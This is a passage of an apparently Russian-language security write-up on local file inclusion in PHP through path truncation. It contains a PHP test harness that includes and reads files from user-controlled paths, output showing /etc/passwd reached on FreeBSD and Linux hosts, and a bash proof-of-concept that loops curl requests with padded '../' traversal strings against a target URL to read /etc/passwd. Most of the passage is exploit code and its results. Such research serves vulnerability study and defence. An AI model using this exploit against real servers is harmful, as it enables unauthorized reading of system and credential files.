".($i+1)."tinclude(".$f.".txt)
";<br /> }<br /> if (include('q/'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude(q/".$f.".txt)
";<br /> }<br /> if (include('qq/'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude(qq/".$f.".txt)
";<br /> }<br /> if (include('./'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude(./".$f.".txt)
";<br /> }<br /> #file_get_contents()<br /> if (file_get_contents($f.'.txt')) {<br /> print "
".($i+1)."tfile_get_contents(".$f.".txt)
";<br /> }<br /> if (file_get_contents('q/'.$f.'.txt')) {<br /> print "
".($i+1)."tfile_get_contents(q/".$f.".txt)
";<br /> }<br /> if (file_get_contents('qq/'.$f.'.txt')) {<br /> print "
".($i+1)."tfile_get_contents(qq/".$f.".txt)
";<br /> }<br /> if (file_get_contents('./'.$f.'.txt')) {<br /> print "
".($i+1)."tfile_get_contents(./".$f.".txt)
";<br /> }<br /> #include_once()<br /> if (include_once($f.'.txt')) {<br /> print "
".($i+1)."tinclude_once(".$f.".txt)
";<br /> }<br /> if (include_once('q/'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude_once(q/".$f.".txt)
";<br /> }<br /> if (include_once('qq/'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude_once(qq/".$f.".txt)
";<br /> }<br /> if (include_once('./'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude_once(./".$f.".txt)
";<br /> }<br /> #readfile()<br /> if (readfile($f.'.txt')) {<br /> print "
".($i+1)."treadfile(".$f.".txt)
";<br /> }<br /> if (readfile('q/'.$f.'.txt')) {<br /> print "
".($i+1)."treadfile(q/".$f.".txt)
";<br /> }<br /> if (readfile('qq/'.$f.'.txt')) {<br /> print "
".($i+1)."treadfile(qq/".$f.".txt)
";<br /> }<br /> if (readfile('./'.$f.'.txt')) {<br /> print "
".($i+1)."treadfile(./".$f.".txt)
";<br /> }<br /> #fopen()<br /> if (fopen($f.'.txt','r')) {<br /> print "
".($i+1)."tfopen(".$f.".txt,'r')
";<br /> }<br /> if (fopen('q/'.$f.'.txt','r')) {<br /> print "
".($i+1)."tfopen(q/".$f.".txt,'r')
";<br /> }<br /> if (fopen('qq/'.$f.'.txt','r')) {<br /> print "
".($i+1)."tfopen(qq/".$f.".txt,'r')
";<br /> }<br /> if (fopen('./'.$f.'.txt','r')) {<br /> print "
".($i+1)."tfopen(./".$f.".txt,'r')
";<br /> }<br /> }<br /> ?><br /> Результаты его работы: ~ # uname -a FreeBSD web.local 8.0-RELEASE-p2 FreeBSD 8.0-RELEASE-p2 #0: Wed Feb 10 09:09:51 MSK 2010 root@pt.local:/usr/obj/usr/src/sys/LOCAL i386 ~ # php -v PHP 5.2.12 with Suhosin-Patch 0.9.7 (cli) (built: Feb 17 2010 01:05:37) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies include(qq/n[..960..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..960..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..961..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..961..]n/../../../../../../../../../etc/passwd.txt) include(n[..963..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..963..]n/../../../../../../../../../etc/passwd.txt) include(qq/n[..971..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..971..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..972..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..972..]n/../../../../../../../../../etc/passwd.txt) include(n[..974..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..974..]n/../../../../../../../../../etc/passwd.txt) ~ # uname -a Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT 2008 i686 Intel(R) Pentium(R) M processor 1.86GHz GenuineIntel GNU/Linux ~ # php -v PHP 5.2.4 (cli) (built: Sep 11 2007 21:55:04) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies include(qq/n[..4041..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..4041..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..4042..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..4042..]n/../../../../../../../../../etc/passwd.txt) include(n[..4044..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..4044..]n/../../../../../../../../../etc/passwd.txt) include(qq/n[..4048..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..4048..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..4049..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..4049..]n/../../../../../../../../../etc/passwd.txt) include(n[..4051..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..4051..]n/../../../../../../../../../etc/passwd.txt) Нужно добавить, что для функций require() и require_once(), аналогично функциям include() и include_once(), приведенные выше данные справедливы в полном объеме. И пример эксплуатации local file including обсуждаемым методом (proof of concept): #!/usr/local/bin/bash<br /> file='/etc/passwd'<br /> str=`php -r "echo str_repeat('/..', 300);"`<br /> for ((i=1; i <= 100 ; i++)) do pre=$pre'n' URL="$1$pre$str$file" response=`curl -kis $URL | egrep "^root" | wc -l` if [ $response = 1 ]; then echo "Found: $URL"; fi done bash poc.sh "http://192.168.0.51/test.php?file="
